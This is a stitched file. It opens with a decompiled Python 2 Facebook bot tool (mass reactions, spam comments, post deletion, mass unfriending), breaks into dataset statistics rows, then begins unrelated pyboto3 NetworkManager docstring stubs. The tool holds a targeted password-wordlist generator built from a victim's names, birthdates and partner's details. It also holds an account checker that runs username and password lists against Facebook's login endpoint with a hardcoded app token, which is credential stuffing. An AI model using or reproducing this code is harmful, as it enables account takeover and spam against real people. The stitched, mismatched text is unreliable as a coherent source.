requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket)
print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe
print
print '\r\x1b[1;91m[+]\x1b[1;97m Done \x1b[1;96m' + str(len(reaction))
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
except KeyError:
print '\x1b[1;91m[!] ID was not Found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
def group_react():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;37;40m1. \x1b[1;97mLike'
print '\x1b[1;37;40m2. \x1b[1;97mLove'
print '\x1b[1;37;40m3. \x1b[1;97mWow'
print '\x1b[1;37;40m4. \x1b[1;97mHaha'
print '\x1b[1;37;40m5. \x1b[1;97mSad'
print '\x1b[1;37;40m6. \x1b[1;97mAngry'
print '\x1b[1;31;40m0. Back'
print
reactg_choose()
def reactg_choose():
global tipe
aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
if aksi == '':
print '\x1b[1;91m[!] Dont be empty'
reactg_choose()
else:
if aksi == '1':
tipe = 'LIKE'
reactg()
else:
if aksi == '2':
tipe = 'LOVE'
reactg()
else:
if aksi == '3':
tipe = 'WOW'
reactg()
else:
if aksi == '4':
tipe = 'HAHA'
reactg()
else:
if aksi == '5':
tipe = 'SAD'
reactg()
else:
if aksi == '6':
tipe = 'ANGRY'
reactg()
else:
if aksi == '0':
menu_bot()
else:
print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mThere is no'
reactg_choose()
def reactg():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID group \x1b[1;91m:\x1b[1;97m ')
limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket)
asw = json.loads(ah.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName group \x1b[1;91m:\x1b[1;97m ' + asw['name']
try:
oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
ah = json.loads(oh.text)
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
for a in ah['feed']['data']:
y = a['id']
reactiongroup.append(y)
requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket)
print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe
print
print '\r\x1b[1;91m[+]\x1b[1;97m Done \x1b[1;96m' + str(len(reactiongroup))
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
except KeyError:
print '\x1b[1;91m[!] ID was not Found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
def bot_come():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print "\x1b[1;91m[!] \x1b[1;92mUse \x1b[1;97m'<>' \x1b[1;92mFor the New Line"
ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ')
km = raw_input('\x1b[1;91m[+] \x1b[1;92mto commit \x1b[1;91m:\x1b[1;97m ')
limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
km = km.replace('<>', '\n')
try:
p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
a = json.loads(p.text)
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
for s in a['feed']['data']:
f = s['id']
come.append(f)
requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket)
print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]'
print
print '\r\x1b[1;91m[+]\x1b[1;97m Done \x1b[1;96m' + str(len(come))
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
except KeyError:
print '\x1b[1;91m[!] ID was not Found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
def group_come():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print "\x1b[1;91m[!] \x1b[1;92mUse \x1b[1;97m'<>' \x1b[1;92mFor the New Line"
ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID group \x1b[1;91m:\x1b[1;97m ')
km = raw_input('\x1b[1;91m[+] \x1b[1;92mto commit \x1b[1;91m:\x1b[1;97m ')
limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
km = km.replace('<>', '\n')
try:
ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket)
asw = json.loads(ah.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName group \x1b[1;91m:\x1b[1;97m ' + asw['name']
p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
a = json.loads(p.text)
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
for s in a['feed']['data']:
f = s['id']
comegroup.append(f)
requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket)
print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]'
print
print '\r\x1b[1;91m[+]\x1b[1;97m Done \x1b[1;96m' + str(len(comegroup))
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
except KeyError:
print '\x1b[1;91m[!] ID was not Found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
def deletepost():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
nam = requests.get('https://graph.facebook.com/me?access_token=' + toket)
lol = json.loads(nam.text)
Name = lol['name']
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % Name
Street('\x1b[1;91m[+] \x1b[1;92mStart deleting the post\x1b[1;97m ...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket)
asus = json.loads(asu.text)
for p in asus['data']:
id = p['id']
piro = 0
url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket)
ok = json.loads(url.text)
try:
error = ok['error']['message']
print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mfailed'
except TypeError:
print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mWas deleted'
piro += 1
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[!] Connection Error'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
print '\n\x1b[1;91m[+] \x1b[1;97mDone'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
def accept():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket)
friend = json.loads(r.text)
if '[]' in str(friend['data']):
print '\x1b[1;91m[!] There is no friend request'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
for i in friend['data']:
gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket)
a = json.loads(gas.text)
if 'error' in str(a):
print '\x1b[1;91m[+] \x1b[1;92mName \x1b[1;91m:\x1b[1;97m ' + i['from']['name']
print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;91m failed'
print 40 * '\x1b[1;97m\xe2\x95\x90'
else:
print '\x1b[1;91m[+] \x1b[1;92mName \x1b[1;91m:\x1b[1;97m ' + i['from']['name']
print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;92m itworks'
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\n\x1b[1;91m[+] \x1b[1;97mDone'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
def unfriend():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;97mStop \x1b[1;91mCTRL+C'
print
try:
pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
cok = json.loads(pek.text)
for i in cok['data']:
Name = i['name']
id = i['id']
requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket)
print '\x1b[1;97m[\x1b[1;92mWas deleted\x1b[1;97m] ' + Name + ' => ' + id
except IndexError:
pass
except KeyboardInterrupt:
print '\x1b[1;91m[!] Stalled'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
print '\n\x1b[1;91m[+] \x1b[1;97mDone'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
def other():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;37;40m1. Create a post'
print '\x1b[1;37;40m2. Create Wordlist'
print '\x1b[1;37;40m3. Account Checker'
print '\x1b[1;37;40m4. See list group'
print '\x1b[1;37;40m5. Profile Guard'
print
print '\x1b[1;97m ->Coming soon<-'
print
print '\x1b[1;31;40m0. Back'
print
choose_other()
def choose_other():
other = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
if other == '':
print '\x1b[1;91m[!] Dont be empty'
choose_other()
else:
if other == '1':
status()
else:
if other == '2':
wordlist()
else:
if other == '3':
check_akun()
else:
if other == '4':
groupsaya()
else:
if other == '5':
guard()
else:
if other == '0':
menu()
else:
print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + other + ' \x1b[1;91mThere is no'
choose_other()
def status():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
msg = raw_input('\x1b[1;91m[+] \x1b[1;92mType it status \x1b[1;91m:\x1b[1;97m ')
if msg == '':
print '\x1b[1;91m[!] Dont be empty'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
other()
else:
res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket)
op = json.loads(res.text)
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id']
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
other()
def wordlist():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
try:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[?] \x1b[1;92mFill in the complete target data below'
print 40 * '\x1b[1;97m\xe2\x95\x90'
a = raw_input('\x1b[1;91m[+] \x1b[1;92mFirstName \x1b[1;97m: ')
file = open(a + '.txt', 'w')
b = raw_input('\x1b[1;91m[+] \x1b[1;92mMiddleName \x1b[1;97m: ')
c = raw_input('\x1b[1;91m[+] \x1b[1;92mLastName \x1b[1;97m: ')
d = raw_input('\x1b[1;91m[+] \x1b[1;92mCallName \x1b[1;97m: ')
e = raw_input('\x1b[1;91m[+] \x1b[1;92mDate of birth >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ')
f = e[0:2]
g = e[2:4]
h = e[4:]
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[?] \x1b[1;93mSKIP If its single :v'
i = raw_input('\x1b[1;91m[+] \x1b[1;92mGirlfriends Name \x1b[1;97m: ')
j = raw_input('\x1b[1;91m[+] \x1b[1;92mCallGirlfriends Name \x1b[1;97m: ')
k = raw_input('\x1b[1;91m[+] \x1b[1;92mDate of birth Girlfriend >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ')
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
l = k[0:2]
m = k[2:4]
n = k[4:]
file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k))
wg = 0
while wg < 100:
wg = wg + 1
file.write(a + str(wg) + '\n')
en = 0
while en < 100:
en = en + 1
file.write(i + str(en) + '\n')
word = 0
while word < 100:
word = word + 1
file.write(d + str(word) + '\n')
gen = 0
while gen < 100:
gen = gen + 1
file.write(j + str(gen) + '\n')
file.close()
time.sleep(1.5)
print '\n\x1b[1;91m[+] \x1b[1;97mStored \x1b[1;91m: \x1b[1;97m %s.txt' % a
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
other()
except IOError as e:
print '\x1b[1;91m[!] failed to Create file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
other()
def check_akun():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[?] \x1b[1;92mThey File\x1b[1;91m : \x1b[1;97musername|password'
print 40 * '\x1b[1;97m\xe2\x95\x90'
live = []
cek = []
die = []
try:
file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m:\x1b[1;97m ')
list = open(file, 'r').readlines()
except IOError:
print '\x1b[1;91m[!] File was not Found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
other()
Separator = raw_input('\x1b[1;91m[+] \x1b[1;92mSeparator \x1b[1;91m:\x1b[1;97m ')
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
for meki in list:
username, password = meki.strip().split(str(Separator))
url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
data = requests.get(url)
mpsh = json.loads(data.text)
if 'access_token' in mpsh:
live.append(password)
print '\x1b[1;97m[\x1b[1;92mLive\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password
elif 'www.facebook.com' in mpsh['error_msg']:
cek.append(password)
print '\x1b[1;97m[\x1b[1;93mCheck\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password
else:
die.append(password)
print '\x1b[1;97m[\x1b[1;91mDie\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password
print '\n\x1b[1;91m[+] \x1b[1;97mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die))
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
other()
def groupsaya():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
try:
uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket)
gud = json.loads(uh.text)
for p in gud['data']:
Name = p['name']
id = p['id']
f = open('groupid.txt', 'w')
listgroup.append(id)
f.write(id + '\n')
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName \x1b[1;91m:\x1b[1;97m ' + str(Name)
print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + str(id)
print 40 * '\x1b[1;97m='
print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount group \x1b[1;96m%s' % len(listgroup)
print '\x1b[1;91m[+] \x1b[1;97mStored \x1b[1;91m: \x1b[1;97mgroupid.txt'
f.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
other()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stalled'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
other()
except KeyError:
os.remove('groupid.txt')
print '\x1b[1;91m[!] group was not Found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
other()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] There is no connection'
Exit()
except IOError:
print '\x1b[1;91m[!] Error while creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
other()
def guard():
global toket
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;37;40m1. Activate'
print '\x1b[1;37;40m2. Not activate'
print '\x1b[1;31;40m0. Back'
print
g = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
if g == '1':
aktif = 'true'
gaz(toket, aktif)
else:
if g == '2':
non = 'false'
gaz(toket, non)
else:
if g == '0':
other()
else:
if g == '':
Exit()
else:
Exit()
def get_userid(toket):
url = 'https://graph.facebook.com/me?access_token=%s' % toket
res = requests.get(url)
uid = json.loads(res.text)
return uid['id']
def gaz(toket, enable=True):
id = get_userid(toket)
data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id))
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket}
url = 'https://graph.facebook.com/graphql'
res = requests.post(url, data=data, headers=headers)
print res.text
if '"is_shielded":true' in res.text:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDeactivate'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
other()
else:
if '"is_shielded":false' in res.text:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDid not activate'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
other()
else:
print '\x1b[1;91m[!] Error'
Exit()
if __name__ == '__main__':
login()
# okay decompiling 3.pyc
| 41.744011
| 1,251
| 0.485536
| 12,085
| 88,873
| 3.534133
| 0.052875
| 0.13196
| 0.098665
| 0.079138
| 0.812175
| 0.791805
| 0.770265
| 0.734582
| 0.704847
| 0.68834
| 0
| 0.133339
| 0.34052
| 88,873
| 2,128
| 1,252
| 41.763628
| 0.595376
| 0.000529
| 0
| 0.688684
| 0
| 0.141321
| 0.395524
| 0.130246
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.033282
| 0.002048
| null | null | 0.247312
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
cad2c39d835b7ec242ded60af1e6c17623f3ea8e
| 94,529
|
py
|
Python
|
pyboto3/networkmanager.py
|
gehad-shaat/pyboto3
|
4a0c2851a8bc04fb1c71c36086f7bb257e48181d
|
[
"MIT"
] | 91
|
2016-12-31T11:38:37.000Z
|
2021-09-16T19:33:23.000Z
|
pyboto3/networkmanager.py
|
gehad-shaat/pyboto3
|
4a0c2851a8bc04fb1c71c36086f7bb257e48181d
|
[
"MIT"
] | 7
|
2017-01-02T18:54:23.000Z
|
2020-08-11T13:54:02.000Z
|
pyboto3/networkmanager.py
|
gehad-shaat/pyboto3
|
4a0c2851a8bc04fb1c71c36086f7bb257e48181d
|
[
"MIT"
] | 26
|
2016-12-31T13:11:00.000Z
|
2022-03-03T21:01:12.000Z
|
'''
The MIT License (MIT)
Copyright (c) 2016 WavyCloud
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
'''
def associate_customer_gateway(CustomerGatewayArn=None, GlobalNetworkId=None, DeviceId=None, LinkId=None):
"""
Associates a customer gateway with a device and optionally, with a link. If you specify a link, it must be associated with the specified device.
You can only associate customer gateways that are connected to a VPN attachment on a transit gateway. The transit gateway must be registered in your global network. When you register a transit gateway, customer gateways that are connected to the transit gateway are automatically included in the global network. To list customer gateways that are connected to a transit gateway, use the DescribeVpnConnections EC2 API and filter by transit-gateway-id .
You cannot associate a customer gateway with more than one device and link.
See also: AWS API Documentation
Exceptions
:example: response = client.associate_customer_gateway(
CustomerGatewayArn='string',
GlobalNetworkId='string',
DeviceId='string',
LinkId='string'
)
:type CustomerGatewayArn: string
:param CustomerGatewayArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the customer gateway. For more information, see Resources Defined by Amazon EC2 .\n
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type DeviceId: string
:param DeviceId: [REQUIRED]\nThe ID of the device.\n
:type LinkId: string
:param LinkId: The ID of the link.
:rtype: dict
ReturnsResponse Syntax
{
'CustomerGatewayAssociation': {
'CustomerGatewayArn': 'string',
'GlobalNetworkId': 'string',
'DeviceId': 'string',
'LinkId': 'string',
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'
}
}
Response Structure
(dict) --
CustomerGatewayAssociation (dict) --
The customer gateway association.
CustomerGatewayArn (string) --
The Amazon Resource Name (ARN) of the customer gateway.
GlobalNetworkId (string) --
The ID of the global network.
DeviceId (string) --
The ID of the device.
LinkId (string) --
The ID of the link.
State (string) --
The association state.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.ServiceQuotaExceededException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'CustomerGatewayAssociation': {
'CustomerGatewayArn': 'string',
'GlobalNetworkId': 'string',
'DeviceId': 'string',
'LinkId': 'string',
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.ServiceQuotaExceededException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def associate_link(GlobalNetworkId=None, DeviceId=None, LinkId=None):
"""
Associates a link to a device. A device can be associated to multiple links and a link can be associated to multiple devices. The device and link must be in the same global network and the same site.
See also: AWS API Documentation
Exceptions
:example: response = client.associate_link(
GlobalNetworkId='string',
DeviceId='string',
LinkId='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type DeviceId: string
:param DeviceId: [REQUIRED]\nThe ID of the device.\n
:type LinkId: string
:param LinkId: [REQUIRED]\nThe ID of the link.\n
:rtype: dict
ReturnsResponse Syntax
{
'LinkAssociation': {
'GlobalNetworkId': 'string',
'DeviceId': 'string',
'LinkId': 'string',
